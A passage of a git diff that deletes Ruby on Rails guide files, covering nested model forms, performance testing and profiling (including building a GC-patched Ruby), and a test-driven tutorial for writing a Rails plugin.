-  <input id="person_name" name="person[name]" size="30" type="text" />
-
-  <input id="person_address_attributes_street" name="person[address_attributes][street]" size="30" type="text" />
-</form>
-</html>
-
-Notice that +fields_for+ recognized the +address+ as an association for which a nested model form should be built by the way it has namespaced the +name+ attribute.
-
-When this form is posted the Rails parameter parser will construct a hash like the following:
-
-<ruby>
-{
-  "person" => {
-    "name" => "Eloy Duran",
-    "address_attributes" => {
-      "street" => "Nieuwe Prinsengracht"
-    }
-  }
-}
-</ruby>
-
-That’s it. The controller will simply pass this hash on to the model from the +create+ action. The model will then handle building the +address+ association for you and automatically save it when the parent (+person+) is saved.
-
-h5. Nested form for a collection of associated objects
-
-The form code for an association collection is pretty similar to that of a single associated object:
-
-<erb>
-<%= form_for @person do |f| %>
-  <%= f.text_field :name %>
-
-  <%= f.fields_for :projects do |pf| %>
-    <%= pf.text_field :name %>
-  <% end %>
-<% end %>
-</erb>
-
-Which generates:
-
-<html>
-<form action="/people" class="new_person" id="new_person" method="post">
-  <input id="person_name" name="person[name]" size="30" type="text" />
-
-  <input id="person_projects_attributes_0_name" name="person[projects_attributes][0][name]" size="30" type="text" />
-  <input id="person_projects_attributes_1_name" name="person[projects_attributes][1][name]" size="30" type="text" />
-</form>
-</html>
-
-As you can see it has generated 2 +project name+ inputs, one for each new +project+ that was built in the controller's +new+ action. Only this time the +name+ attribute of the input contains a digit as an extra namespace. This will be parsed by the Rails parameter parser as:
-
-<ruby>
-{
-  "person" => {
-    "name" => "Eloy Duran",
-    "projects_attributes" => {
-      "0" => { "name" => "Project 1" },
-      "1" => { "name" => "Project 2" }
-    }
-  }
-}
-</ruby>
-
-You can basically see the +projects_attributes+ hash as an array of attribute hashes, one for each model instance.
-
-NOTE: The reason that +fields_for+ constructed a form which would result in a hash instead of an array is that it won't work for any forms nested deeper than one level deep.
-
-TIP: You _can_ however pass an array to the writer method generated by +accepts_nested_attributes_for+ if you're using plain Ruby or some other API access. See (TODO) for more info and example.
diff --git a/railties/guides/source/performance_testing.textile b/railties/guides/source/performance_testing.textile
deleted file mode 100644
index 2440927542..0000000000
--- a/railties/guides/source/performance_testing.textile
+++ /dev/null
@@ -1,597 +0,0 @@
-h2. Performance Testing Rails Applications
-
-This guide covers the various ways of performance testing a Ruby on Rails application. By referring to this guide, you will be able to:
-
-* Understand the various types of benchmarking and profiling metrics
-* Generate performance and benchmarking tests
-* Install and use a GC-patched Ruby binary to measure memory usage and object allocation
-* Understand the benchmarking information provided by Rails inside the log files
-* Learn about various tools facilitating benchmarking and profiling
-
-Performance testing is an integral part of the development cycle. It is very important that you don't make your end users wait for too long before the page is completely loaded. Ensuring a pleasant browsing experience for end users and cutting the cost of unnecessary hardware is important for any non-trivial web application.
-
-endprologue.
-
-h3. Performance Test Cases
-
-Rails performance tests are a special type of integration tests, designed for benchmarking and profiling the test code. With performance tests, you can determine where your application's memory or speed problems are coming from, and get a more in-depth picture of those problems.
-
-In a freshly generated Rails application, +test/performance/browsing_test.rb+ contains an example of a performance test:
-
-<ruby>
-require 'test_helper'
-require 'rails/performance_test_help'
-
-# Profiling results for each test method are written to tmp/performance.
-class BrowsingTest < ActionDispatch::PerformanceTest
-  def test_homepage
-    get '/'
-  end
-end
-</ruby>
-
-This example is a simple performance test case for profiling a GET request to the application's homepage.
-
-h4. Generating Performance Tests
-
-Rails provides a generator called +performance_test+ for creating new performance tests:
-
-<shell>
-$ rails generate performance_test homepage
-</shell>
-
-This generates +homepage_test.rb+ in the +test/performance+ directory:
-
-<ruby>
-require 'test_helper'
-require 'rails/performance_test_help'
-
-class HomepageTest < ActionDispatch::PerformanceTest
-  # Replace this with your real tests.
-  def test_homepage
-    get '/'
-  end
-end
-</ruby>
-
-h4. Examples
-
-Let's assume your application has the following controller and model:
-
-<ruby>
-# routes.rb
-root :to => 'home#index'
-resources :posts
-
-# home_controller.rb
-class HomeController < ApplicationController
-  def dashboard
-    @users = User.last_ten.includes(:avatars)
-    @posts = Post.all_today
-  end
-end
-
-# posts_controller.rb
-class PostsController < ApplicationController
-  def create
-    @post = Post.create(params[:post])
-    redirect_to(@post)
-  end
-end
-
-# post.rb
-class Post < ActiveRecord::Base
-  before_save :recalculate_costly_stats
-
-  def slow_method
-    # I fire gallzilion queries sleeping all around
-  end
-
-  private
-
-  def recalculate_costly_stats
-    # CPU heavy calculations
-  end
-end
-</ruby>
-
-h5. Controller Example
-
-Because performance tests are a special kind of integration test, you can use the +get+ and +post+ methods in them.
-
-Here's the performance test for +HomeController#dashboard+ and +PostsController#create+:
-
-<ruby>
-require 'test_helper'
-require 'rails/performance_test_help'
-
-class PostPerformanceTest < ActionDispatch::PerformanceTest
-  def setup
-    # Application requires logged-in user
-    login_as(:lifo)
-  end
-
-  def test_homepage
-    get '/dashboard'
-  end
-
-  def test_creating_new_post
-    post '/posts', :post => { :body => 'lifo is fooling you' }
-  end
-end
-</ruby>
-
-You can find more details about the +get+ and +post+ methods in the "Testing Rails Applications":testing.html guide.
-
-h5. Model Example
-
-Even though the performance tests are integration tests and hence closer to the request/response cycle by nature, you can still performance test pure model code.
-
-Performance test for +Post+ model:
-
-<ruby>
-require 'test_helper'
-require 'rails/performance_test_help'
-
-class PostModelTest < ActionDispatch::PerformanceTest
-  def test_creation
-    Post.create :body => 'still fooling you', :cost => '100'
-  end
-
-  def test_slow_method
-    # Using posts(:awesome) fixture
-    posts(:awesome).slow_method
-  end
-end
-</ruby>
-
-h4. Modes
-
-Performance tests can be run in two modes: Benchmarking and Profiling.
-
-h5. Benchmarking
-
-Benchmarking makes it easy to quickly gather a few metrics about each test tun. By default, each test case is run *4 times* in benchmarking mode.
-
-To run performance tests in benchmarking mode:
-
-<shell>
-$ rake test:benchmark
-</shell>
-
-h5. Profiling
-
-Profiling allows you to make an in-depth analysis of each of your tests by using an external profiler. Depending on your Ruby interpreter, this profiler can be native (Rubinius, JRuby) or not (MRI, which uses RubyProf). By default, each test case is run *once* in profiling mode.
-
-To run performance tests in profiling mode:
-
-<shell>
-$ rake test:profile
-</shell>
-
-h4. Metrics
-
-Benchmarking and profiling run performance tests and give you multiple metrics. The availability of each metric is determined by the interpreter being used—none of them support all metrics—and by the mode in use. A brief description of each metric and their availability across interpreters/modes is given below.
-
-h5. Wall Time
-
-Wall time measures the real world time elapsed during the test run. It is affected by any other processes concurrently running on the system.
-
-h5. Process Time
-
-Process time measures the time taken by the process. It is unaffected by any other processes running concurrently on the same system. Hence, process time is likely to be constant for any given performance test, irrespective of the machine load.
-
-h5. CPU Time
-
-Similar to process time, but leverages the more accurate CPU clock counter available on the Pentium and PowerPC platforms.
-
-h5. User Time
-
-User time measures the amount of time the CPU spent in user-mode, i.e. within the process. This is not affected by other processes and by the time it possibly spends blocked.
-
-h5. Memory
-
-Memory measures the amount of memory used for the performance test case.
-
-h5. Objects
-
-Objects measures the number of objects allocated for the performance test case.
-
-h5. GC Runs
-
-GC Runs measures the number of times GC was invoked for the performance test case.
-
-h5. GC Time
-
-GC Time measures the amount of time spent in GC for the performance test case.
-
-h5. Metric Availability
-
-h6(#benchmarking_1). Benchmarking
-
-|_.Interpreter|_.Wall Time|_.Process Time|_.CPU Time|_.User Time|_.Memory|_.Objects|_.GC Runs|_.GC Time|
-|_.MRI        | yes       | yes          | yes      | no        | yes    | yes     | yes     | yes     |
-|_.REE        | yes       | yes          | yes      | no        | yes    | yes     | yes     | yes     |
-|_.Rubinius   | yes       | no           | no       | no        | yes    | yes     | yes     | yes     |
-|_.JRuby      | yes       | no           | no       | yes       | yes    | yes     | yes     | yes     |
-
-h6(#profiling_1). Profiling
-
-|_.Interpreter|_.Wall Time|_.Process Time|_.CPU Time|_.User Time|_.Memory|_.Objects|_.GC Runs|_.GC Time|
-|_.MRI        | yes       | yes          | no       | no        | yes    | yes     | yes     | yes     |
-|_.REE        | yes       | yes          | no       | no        | yes    | yes     | yes     | yes     |
-|_.Rubinius   | yes       | no           | no       | no        | no     | no      | no      | no      |
-|_.JRuby      | yes       | no           | no       | no        | no     | no      | no      | no      |
-
-NOTE: To profile under JRuby you'll need to run +export JRUBY_OPTS="-Xlaunch.inproc=false --profile.api"+ *before* the performance tests.
-
-h4. Understanding the Output
-
-Performance tests generate different outputs inside +tmp/performance+ directory depending on their mode and metric.
-
-h5(#output-benchmarking). Benchmarking
-
-In benchmarking mode, performance tests generate two types of outputs.
-
-h6(#output-command-line). Command Line
-
-This is the primary form of output in benchmarking mode. Example:
-
-<shell>
-BrowsingTest#test_homepage (31 ms warmup)
-           wall_time: 6 ms
-              memory: 437.27 KB
-             objects: 5,514
-             gc_runs: 0
-             gc_time: 19 ms
-</shell>
-
-h6. CSV Files
-
-Performance test results are also appended to +.csv+ files inside +tmp/performance+. For example, running the default +BrowsingTest#test_homepage+ will generate following five files:
-
-* BrowsingTest#test_homepage_gc_runs.csv
-* BrowsingTest#test_homepage_gc_time.csv
-* BrowsingTest#test_homepage_memory.csv
-* BrowsingTest#test_homepage_objects.csv
-* BrowsingTest#test_homepage_wall_time.csv
-
-As the results are appended to these files each time the performance tests are run in benchmarking mode, you can collect data over a period of time. This can be very helpful in analyzing the effects of code changes.
-
-Sample output of +BrowsingTest#test_homepage_wall_time.csv+:
-
-<shell>
-measurement,created_at,app,rails,ruby,platform
-0.00738224999999992,2009-01-08T03:40:29Z,,3.0.0,ruby-1.8.7.249,x86_64-linux
-0.00755874999999984,2009-01-08T03:46:18Z,,3.0.0,ruby-1.8.7.249,x86_64-linux
-0.00762099999999993,2009-01-08T03:49:25Z,,3.0.0,ruby-1.8.7.249,x86_64-linux
-0.00603075000000008,2009-01-08T04:03:29Z,,3.0.0,ruby-1.8.7.249,x86_64-linux
-0.00619899999999995,2009-01-08T04:03:53Z,,3.0.0,ruby-1.8.7.249,x86_64-linux
-0.00755449999999991,2009-01-08T04:04:55Z,,3.0.0,ruby-1.8.7.249,x86_64-linux
-0.00595999999999997,2009-01-08T04:05:06Z,,3.0.0,ruby-1.8.7.249,x86_64-linux
-0.00740450000000004,2009-01-09T03:54:47Z,,3.0.0,ruby-1.8.7.249,x86_64-linux
-0.00603150000000008,2009-01-09T03:54:57Z,,3.0.0,ruby-1.8.7.249,x86_64-linux
-0.00771250000000012,2009-01-09T15:46:03Z,,3.0.0,ruby-1.8.7.249,x86_64-linux
-</shell>
-
-h5(#output-profiling). Profiling
-
-In profiling mode, performance tests can generate multiple types of outputs. The command line output is always presented but support for the others is dependent on the interpreter in use. A brief description of each type and their availability across interpreters is given below.
-
-h6. Command Line
-
-This is a very basic form of output in profiling mode:
-
-<shell>
-BrowsingTest#test_homepage (58 ms warmup)
-        process_time: 63 ms
-              memory: 832.13 KB
-             objects: 7,882
-</shell>
-
-h6. Flat
-
-Flat output shows the metric—time, memory, etc—measure in each method. "Check Ruby-Prof documentation for a better explanation":http://ruby-prof.rubyforge.org/files/examples/flat_txt.html.
-
-h6. Graph
-
-Graph output shows the metric measure in each method, which methods call it and which methods it calls. "Check Ruby-Prof documentation for a better explanation":http://ruby-prof.rubyforge.org/files/examples/graph_txt.html.
-
-h6. Tree
-
-Tree output is profiling information in calltree format for use by "kcachegrind":http://kcachegrind.sourceforge.net/html/Home.html and similar tools.
-
-h6. Output Availability
-
-|_.         |_.Flat|_.Graph|_.Tree|
-|_.MRI      | yes  | yes   | yes  |
-|_.REE      | yes  | yes   | yes  |
-|_.Rubinius | yes  | yes   | no   |
-|_.JRuby    | yes  | yes   | no   |
-
-h4. Tuning Test Runs
-
-Test runs can be tuned by setting the +profile_options+ class variable on your test class.
-
-<ruby>
-require 'test_helper'
-require 'rails/performance_test_help'
-
-# Profiling results for each test method are written to tmp/performance.
-class BrowsingTest < ActionDispatch::PerformanceTest
-  self.profile_options = { :runs => 5,
-                           :metrics => [:wall_time, :memory] }
-
-  def test_homepage
-    get '/'
-  end
-end
-</ruby>
-
-In this example, the test would run 5 times and measure wall time and memory. There are a few configurable options:
-
-|_.Option   |_.Description|_.Default|_.Mode|
-|+:runs+    |Number of runs.|Benchmarking: 4, Profiling: 1|Both|
-|+:output+  |Directory to use when writing the results.|+tmp/performance+|Both|
-|+:metrics+ |Metrics to use.|See below.|Both|
-|+:formats+ |Formats to output to.|See below.|Profiling|
-
-Metrics and formats have different defaults depending on the interpreter in use.
-
-|_.Interpreter|_.Mode|_.Default metrics|_.Default formats|
-|/2.MRI/REE |Benchmarking|+[:wall_time, :memory, :objects, :gc_runs, :gc_time]+|N/A|
-|Profiling   |+[:process_time, :memory, :objects]+|+[:flat, :graph_html, :call_tree, :call_stack]+|
-|/2.Rubinius|Benchmarking|+[:wall_time, :memory, :objects, :gc_runs, :gc_time]+|N/A|
-|Profiling   |+[:wall_time]+|+[:flat, :graph]+|
-|/2.JRuby   |Benchmarking|+[:wall_time, :user_time, :memory, :gc_runs, :gc_time]+|N/A|
-|Profiling   |+[:wall_time]+|+[:flat, :graph]+|
-
-As you've probably noticed by now, metrics and formats are specified using a symbol array with each name "underscored.":http://api.rubyonrails.org/classes/String.html#method-i-underscore
-
-h4. Performance Test Environment
-
-Performance tests are run in the +test+ environment. But running performance tests will set the following configuration parameters:
-
-<shell>
-ActionController::Base.perform_caching = true
-ActiveSupport::Dependencies.mechanism = :require
-Rails.logger.level = ActiveSupport::BufferedLogger::INFO
-</shell>
-
-As +ActionController::Base.perform_caching+ is set to +true+, performance tests will behave much as they do in the +production+ environment.
-
-h4. Installing GC-Patched MRI
-
-To get the best from Rails' performance tests under MRI, you'll need to build a special Ruby binary with some super powers.
-
-The recommended patches for each MRI version are:
-
-|_.Version|_.Patch|
-|1.8.6|ruby186gc|
-|1.8.7|ruby187gc|
-|1.9.2 and above|gcdata|
-
-All of these can be found on "RVM's _patches_ directory":https://github.com/wayneeseguin/rvm/tree/master/patches/ruby under each specific interpreter version.
-
-Concerning the installation itself, you can either do this easily by using "RVM":http://rvm.beginrescueend.com or you can build everything from source, which is a little bit harder.
-
-h5. Install Using RVM
-
-The process of installing a patched Ruby interpreter is very easy if you let RVM do the hard work. All of the following RVM commands will provide you with a patched Ruby interpreter:
-
-<shell>
-$ rvm install 1.9.2-p180 --patch gcdata
-$ rvm install 1.8.7 --patch ruby187gc
-$ rvm install 1.9.2-p180 --patch ~/Downloads/downloaded_gcdata_patch.patch
-</shell>
-
-You can even keep your regular interpreter by assigning a name to the patched one:
-
-<shell>
-$ rvm install 1.9.2-p180 --patch gcdata --name gcdata
-$ rvm use 1.9.2-p180 # your regular ruby
-$ rvm use 1.9.2-p180-gcdata # your patched ruby
-</shell>
-
-And it's done! You have installed a patched Ruby interpreter.
-
-h5. Install From Source
-
-This process is a bit more complicated, but straightforward nonetheless. If you've never compiled a Ruby binary before, follow these steps to build a Ruby binary inside your home directory.
-
-h6. Download and Extract
-
-<shell>
-$ mkdir rubygc
-$ wget <the version you want from ftp://ftp.ruby-lang.org/pub/ruby>
-$ tar -xzvf <ruby-version.tar.gz>
-$ cd <ruby-version>
-</shell>
-
-h6. Apply the Patch
-
-<shell>
-$ curl http://github.com/wayneeseguin/rvm/raw/master/patches/ruby/1.9.2/p180/gcdata.patch | patch -p0 # if you're on 1.9.2!
-$ curl http://github.com/wayneeseguin/rvm/raw/master/patches/ruby/1.8.7/ruby187gc.patch | patch -p0 # if you're on 1.8.7!
-</shell>
-
-h6. Configure and Install
-
-The following will install Ruby in your home directory's +/rubygc+ directory. Make sure to replace +&lt;homedir&gt;+ with a full patch to your actual home directory.
-
-<shell>
-$ ./configure --prefix=/<homedir>/rubygc
-$ make && make install
-</shell>
-
-h6. Prepare Aliases
-
-For convenience, add the following lines in your +~/.profile+:
-
-<shell>
-alias gcruby='~/rubygc/bin/ruby'
-alias gcrake='~/rubygc/bin/rake'
-alias gcgem='~/rubygc/bin/gem'
-alias gcirb='~/rubygc/bin/irb'
-alias gcrails='~/rubygc/bin/rails'
-</shell>
-
-Don't forget to use your aliases from now on.
-
-h6. Install RubyGems (1.8 only!)
-
-Download "RubyGems":http://rubyforge.org/projects/rubygems and install it from source. Rubygem's README file should have necessary installation instructions. Please note that this step isn't necessary if you've installed Ruby 1.9 and above.
-
-h4. Using Ruby-Prof on MRI and REE
-
-Add Ruby-Prof to your applications' Gemfile if you want to benchmark/profile under MRI or REE:
-
-<ruby>
-gem 'ruby-prof', :git => 'git://github.com/wycats/ruby-prof.git'
-</ruby>
-
-Now run +bundle install+ and you're ready to go.
-
-h3. Command Line Tools
-
-Writing performance test cases could be an overkill when you are looking for one time tests. Rails ships with two command line tools that enable quick and dirty performance testing:
-
-h4. +benchmarker+
-
-Usage:
-
-<shell>
-Usage: rails benchmarker 'Ruby.code' 'Ruby.more_code' ... [OPTS]
-    -r, --runs N                     Number of runs.
-                                     Default: 4
-    -o, --output PATH                Directory to use when writing the results.
-                                     Default: tmp/performance
-    -m, --metrics a,b,c              Metrics to use.
-                                     Default: wall_time,memory,objects,gc_runs,gc_time
-</shell>
-
-Example:
-
-<shell>
-$ rails benchmarker 'Item.all' 'CouchItem.all' --runs 3 --metrics wall_time,memory
-</shell>
-
-h4. +profiler+
-
-Usage:
-
-<shell>
-Usage: rails profiler 'Ruby.code' 'Ruby.more_code' ... [OPTS]
-    -r, --runs N                     Number of runs.
-                                     Default: 1
-    -o, --output PATH                Directory to use when writing the results.
-                                     Default: tmp/performance
-        --metrics a,b,c              Metrics to use.
-                                     Default: process_time,memory,objects
-    -m, --formats x,y,z              Formats to output to.
-                                     Default: flat,graph_html,call_tree
-</shell>
-
-Example:
-
-<shell>
-$ rails profiler 'Item.all' 'CouchItem.all' --runs 2 --metrics process_time --formats flat
-</shell>
-
-NOTE: Metrics and formats vary from interpreter to interpreter. Pass +--help+ to each tool to see the defaults for your interpreter.
-
-h3. Helper Methods
-
-Rails provides various helper methods inside Active Record, Action Controller and Action View to measure the time taken by a given piece of code. The method is called +benchmark()+ in all the three components.
-
-h4. Model
-
-<ruby>
-Project.benchmark("Creating project") do
-  project = Project.create("name" => "stuff")
-  project.create_manager("name" => "David")
-  project.milestones << Milestone.all
-end
-</ruby>
-
-This benchmarks the code enclosed in the +Project.benchmark("Creating project") do...end+ block and prints the result to the log file:
-
-<ruby>
-Creating project (185.3ms)
-</ruby>
-
-Please refer to the "API docs":http://api.rubyonrails.org/classes/ActiveRecord/Base.html#M001336 for additional options to +benchmark()+
-
-h4. Controller
-
-Similarly, you could use this helper method inside "controllers":http://api.rubyonrails.org/classes/ActionController/Benchmarking/ClassMethods.html#M000715
-
-<ruby>
-def process_projects
-  self.class.benchmark("Processing projects") do
-    Project.process(params[:project_ids])
-    Project.update_cached_projects
-  end
-end
-</ruby>
-
-NOTE: +benchmark+ is a class method inside controllers
-
-h4. View
-
-And in "views":http://api.rubyonrails.org/classes/ActionController/Benchmarking/ClassMethods.html#M000715:
-
-<erb>
-<% benchmark("Showing projects partial") do %>
-  <%= render @projects %>
-<% end %>
-</erb>
-
-h3. Request Logging
-
-Rails log files contain very useful information about the time taken to serve each request. Here's a typical log file entry:
-
-<shell>
-Processing ItemsController#index (for 127.0.0.1 at 2009-01-08 03:06:39) [GET]
-Rendering template within layouts/items
-Rendering items/index
-Completed in 5ms (View: 2, DB: 0) | 200 OK [http://0.0.0.0/items]
-</shell>
-
-For this section, we're only interested in the last line:
-
-<shell>
-Completed in 5ms (View: 2, DB: 0) | 200 OK [http://0.0.0.0/items]
-</shell>
-
-This data is fairly straightforward to understand. Rails uses millisecond(ms) as the metric to measure the time taken. The complete request spent 5 ms inside Rails, out of which 2 ms were spent rendering views and none was spent communication with the database. It's safe to assume that the remaining 3 ms were spent inside the controller.
-
-Michael Koziarski has an "interesting blog post":http://www.therailsway.com/2009/1/6/requests-per-second explaining the importance of using milliseconds as the metric.
-
-h3. Useful Links
-
-h4. Rails Plugins and Gems
-
-* "Rails Analyzer":http://rails-analyzer.rubyforge.org
-* "Palmist":http://www.flyingmachinestudios.com/programming/announcing-palmist
-* "Rails Footnotes":https://github.com/josevalim/rails-footnotes/tree/master
-* "Query Reviewer":https://github.com/dsboulder/query_reviewer/tree/master
-
-h4. Generic Tools
-
-* "httperf":http://www.hpl.hp.com/research/linux/httperf/
-* "ab":http://httpd.apache.org/docs/2.2/programs/ab.html
-* "JMeter":http://jakarta.apache.org/jmeter/
-* "kcachegrind":http://kcachegrind.sourceforge.net/html/Home.html
-
-h4. Tutorials and Documentation
-
-* "ruby-prof API Documentation":http://ruby-prof.rubyforge.org
-* "Request Profiling Railscast":http://railscasts.com/episodes/98-request-profiling - Outdated, but useful for understanding call graphs
-
-h3. Commercial Products
-
-Rails has been lucky to have a few companies dedicated to Rails-specific performance tools. A couple of those are:
-
-* "New Relic":http://www.newrelic.com
-* "Scout":http://scoutapp.com
diff --git a/railties/guides/source/plugins.textile b/railties/guides/source/plugins.textile
deleted file mode 100644
index 5cfd336d1e..0000000000
--- a/railties/guides/source/plugins.textile
+++ /dev/null
@@ -1,464 +0,0 @@
-h2. The Basics of Creating Rails Plugins
-
-A Rails plugin is either an extension or a modification of the core framework. Plugins provide:
-
-* a way for developers to share bleeding-edge ideas without hurting the stable code base
-* a segmented architecture so that units of code can be fixed or updated on their own release schedule
-* an outlet for the core developers so that they don’t have to include every cool new feature under the sun
-
-After reading this guide you should be familiar with:
-
-* Creating a plugin from scratch
-* Writing and running tests for the plugin
-
-This guide describes how to build a test-driven plugin that will:
-
-* Extend core ruby classes like Hash and String
-* Add methods to ActiveRecord::Base in the tradition of the 'acts_as' plugins
-* Give you information about where to put generators in your plugin.
-
-For the purpose of this guide pretend for a moment that you are an avid bird watcher.
-Your favorite bird is the Yaffle, and you want to create a plugin that allows other developers to share in the Yaffle
-goodness.
-
-endprologue.
-
-h3. Setup
-
-Before you continue, take a moment to decide if your new plugin will be potentially shared across different Rails applications.
-
-* If your plugin is specific to your application, your new plugin will be a _vendored plugin_.
-* If you think your plugin may be used across applications, build it as a _gemified plugin_.
-
-h4. Either generate a vendored plugin...
-
-Use the +rails generate plugin+ command in your Rails root directory
- to create a new plugin that will live in the +vendor/plugins+
- directory. See usage and options by asking for help:
-
-<shell>
-$ rails generate plugin --help
-</shell>
-
-h4. Or generate a gemified plugin.
-
-Writing your Rails plugin as a gem, rather than as a vendored plugin,
- lets you share your plugin across different rails applications using
- RubyGems and Bundler.
-
-Rails 3.1 ships with a +rails plugin new+ command which creates a
- skeleton for developing any kind of Rails extension with the ability
- to run integration tests using a dummy Rails application. See usage
- and options by asking for help:
-
-<shell>
-$ rails plugin --help
-</shell>
-
-h3. Testing your newly generated plugin
-
-You can navigate to the directory that contains the plugin, run the +bundle install+ command
- and run the one generated test using the +rake+ command.
-
-You should see:
-
-<shell>
-	2 tests, 2 assertions, 0 failures, 0 errors, 0 skips
-</shell>
-
-This will tell you that everything got generated properly and you are ready to start adding functionality.
-
-h3. Extending Core Classes
-
-This section will explain how to add a method to String that will be available anywhere in your rails application.
-
-In this example you will add a method to String named +to_squawk+. To begin, create a new test file with a few assertions:
-
-<ruby>
-# yaffle/test/core_ext_test.rb
-
-require 'test_helper'
-
-class CoreExtTest < Test::Unit::TestCase
-  def test_to_squawk_prepends_the_word_squawk
-    assert_equal "squawk! Hello World", "Hello World".to_squawk
-  end
-end
-</ruby>
-
-Run +rake+ to run the test. This test should fail because we haven't implemented the +to_squawk+ method:
-
-<shell>
-	  1) Error:
-	test_to_squawk_prepends_the_word_squawk(CoreExtTest):
-	NoMethodError: undefined method `to_squawk' for "Hello World":String
-	    test/core_ext_test.rb:5:in `test_to_squawk_prepends_the_word_squawk'
-</shell>
-
-Great - now you are ready to start development.
-
-Then in +lib/yaffle.rb+ require +lib/core_ext+:
-
-<ruby>
-# yaffle/lib/yaffle.rb
-
-require "yaffle/core_ext"
-
-module Yaffle
-end
-</ruby>
-
-Finally, create the +core_ext.rb+ file and add the +to_squawk+ method:
-
-<ruby>
-# yaffle/lib/yaffle/core_ext.rb
-
-String.class_eval do
-  def to_squawk
-    "squawk! #{self}".strip
-  end
-end
-</ruby>
-
-To test that your method does what it says it does, run the unit tests with +rake+ from your plugin directory.
-
-<shell>
-	3 tests, 3 assertions, 0 failures, 0 errors, 0 skips
-</shell>
-
-To see this in action, change to the test/dummy directory, fire up a console and start squawking:
-
-<shell>
-$ rails console
->> "Hello World".to_squawk
-=> "squawk! Hello World"
-</shell>
-
-h3. Add an "acts_as" Method to Active Record
-
-A common pattern in plugins is to add a method called 'acts_as_something' to models. In this case, you
-want to write a method called 'acts_as_yaffle' that adds a 'squawk' method to your Active Record models.
-
-To begin, set up your files so that you have:
-
-<ruby>
-# yaffle/test/acts_as_yaffle_test.rb
-
-require 'test_helper'
-
-class ActsAsYaffleTest < Test::Unit::TestCase
-end
-</ruby>
-
-<ruby>
-# yaffle/lib/yaffle.rb
-
-require "yaffle/core_ext"
-require 'yaffle/acts_as_yaffle'
-
-module Yaffle
-end
-</ruby>
-
-<ruby>
-# yaffle/lib/yaffle/acts_as_yaffle.rb
-
-module Yaffle
-  module ActsAsYaffle
-    # your code will go here
-  end
-end
-</ruby>
-
-h4. Add a Class Method
-
-This plugin will expect that you've added a method to your model named 'last_squawk'. However, the
-plugin users might have already defined a method on their model named 'last_squawk' that they use
-for something else. This plugin will allow the name to be changed by adding a class method called 'yaffle_text_field'.
-
-To start out, write a failing test that shows the behavior you'd like:
-
-<ruby>
-# yaffle/test/acts_as_yaffle_test.rb
-
-require 'test_helper'
-
-class ActsAsYaffleTest < Test::Unit::TestCase
-
-  def test_a_hickwalls_yaffle_text_field_should_be_last_squawk
-    assert_equal "last_squawk", Hickwall.yaffle_text_field
-  end
-
-  def test_a_wickwalls_yaffle_text_field_should_be_last_tweet
-    assert_equal "last_tweet", Wickwall.yaffle_text_field
-  end
-
-end
-</ruby>
-
-When you run +rake+, you should see the following:
-
-<shell>
-	  1) Error:
-	test_a_hickwalls_yaffle_text_field_should_be_last_squawk(ActsAsYaffleTest):
-	NameError: uninitialized constant ActsAsYaffleTest::Hickwall
-	    test/acts_as_yaffle_test.rb:6:in `test_a_hickwalls_yaffle_text_field_should_be_last_squawk'
-
-	  2) Error:
-	test_a_wickwalls_yaffle_text_field_should_be_last_tweet(ActsAsYaffleTest):
-	NameError: uninitialized constant ActsAsYaffleTest::Wickwall
-	    test/acts_as_yaffle_test.rb:10:in `test_a_wickwalls_yaffle_text_field_should_be_last_tweet'
-
-	5 tests, 3 assertions, 0 failures, 2 errors, 0 skips
-</shell>
-
-This tells us that we don't have the necessary models (Hickwall and Wickwall) that we are trying to test.
-We can easily generate these models in our "dummy" Rails application by running the following commands from the
-test/dummy directory:
-
-<shell>
-$ cd test/dummy
-$ rails generate model Hickwall last_squawk:string
-$ rails generate model Wickwall last_squawk:string last_tweet:string
-</shell>
-
-Now you can create the necessary database tables in your testing database by navigating to your dummy app
-and migrating the database. First
-
-<shell>
-$ cd test/dummy
-$ rake db:migrate
-$ rake db:test:prepare
-</shell>
-
-While you are here, change the Hickwall and Wickwall models so that they know that they are supposed to act
-like yaffles.
-
-<ruby>
-# test/dummy/app/models/hickwall.rb
-
-class Hickwall < ActiveRecord::Base
-  acts_as_yaffle
-end
-
-# test/dummy/app/models/wickwall.rb
-
-class Wickwall < ActiveRecord::Base
-  acts_as_yaffle :yaffle_text_field => :last_tweet
-end
-
-</ruby>
-
-We will also add code to define the acts_as_yaffle method.
-
-<ruby>
-# yaffle/lib/yaffle/acts_as_yaffle.rb
-module Yaffle
-  module ActsAsYaffle
-    extend ActiveSupport::Concern
-
-    included do
-    end
-
-    module ClassMethods
-      def acts_as_yaffle(options = {})
-        # your code will go here
-      end
-    end
-  end
-end
-
-ActiveRecord::Base.send :include, Yaffle::ActsAsYaffle
-</ruby>
-
-You can then return to the root directory (+cd ../..+) of your plugin and rerun the tests using +rake+.
-
-<shell>
-	  1) Error:
-	test_a_hickwalls_yaffle_text_field_should_be_last_squawk(ActsAsYaffleTest):
-	NoMethodError: undefined method `yaffle_text_field' for #<Class:0x000001016661b8>
-	    /Users/xxx/.rvm/gems/ruby-1.9.2-p136@xxx/gems/activerecord-3.0.3/lib/active_record/base.rb:1008:in `method_missing'
-	    test/acts_as_yaffle_test.rb:5:in `test_a_hickwalls_yaffle_text_field_should_be_last_squawk'
-
-	  2) Error:
-	test_a_wickwalls_yaffle_text_field_should_be_last_tweet(ActsAsYaffleTest):
-	NoMethodError: undefined method `yaffle_text_field' for #<Class:0x00000101653748>
-	    Users/xxx/.rvm/gems/ruby-1.9.2-p136@xxx/gems/activerecord-3.0.3/lib/active_record/base.rb:1008:in `method_missing'
-	    test/acts_as_yaffle_test.rb:9:in `test_a_wickwalls_yaffle_text_field_should_be_last_tweet'
-
-	5 tests, 3 assertions, 0 failures, 2 errors, 0 skips
-
-</shell>
-
-Getting closer... Now we will implement the code of the acts_as_yaffle method to make the tests pass.
-
-<ruby>
-# yaffle/lib/yaffle/acts_as_yaffle.rb
-
-module Yaffle
-  module ActsAsYaffle
-   extend ActiveSupport::Concern
-
-    included do
-    end
-
-    module ClassMethods
-      def acts_as_yaffle(options = {})
-        cattr_accessor :yaffle_text_field
-        self.yaffle_text_field = (options[:yaffle_text_field] || :last_squawk).to_s
-      end
-    end
-  end
-end
-
-ActiveRecord::Base.send :include, Yaffle::ActsAsYaffle
-</ruby>
-
-When you run +rake+ you should see the tests all pass:
-
-<shell>
-	5 tests, 5 assertions, 0 failures, 0 errors, 0 skips
-</shell>
-
-h4. Add an Instance Method
-
-This plugin will add a method named 'squawk' to any Active Record object that calls 'acts_as_yaffle'. The 'squawk'
-method will simply set the value of one of the fields in the database.
-
-To start out, write a failing test that shows the behavior you'd like:
-
-<ruby>
-# yaffle/test/acts_as_yaffle_test.rb
-require 'test_helper'
-
-class ActsAsYaffleTest < Test::Unit::TestCase
-
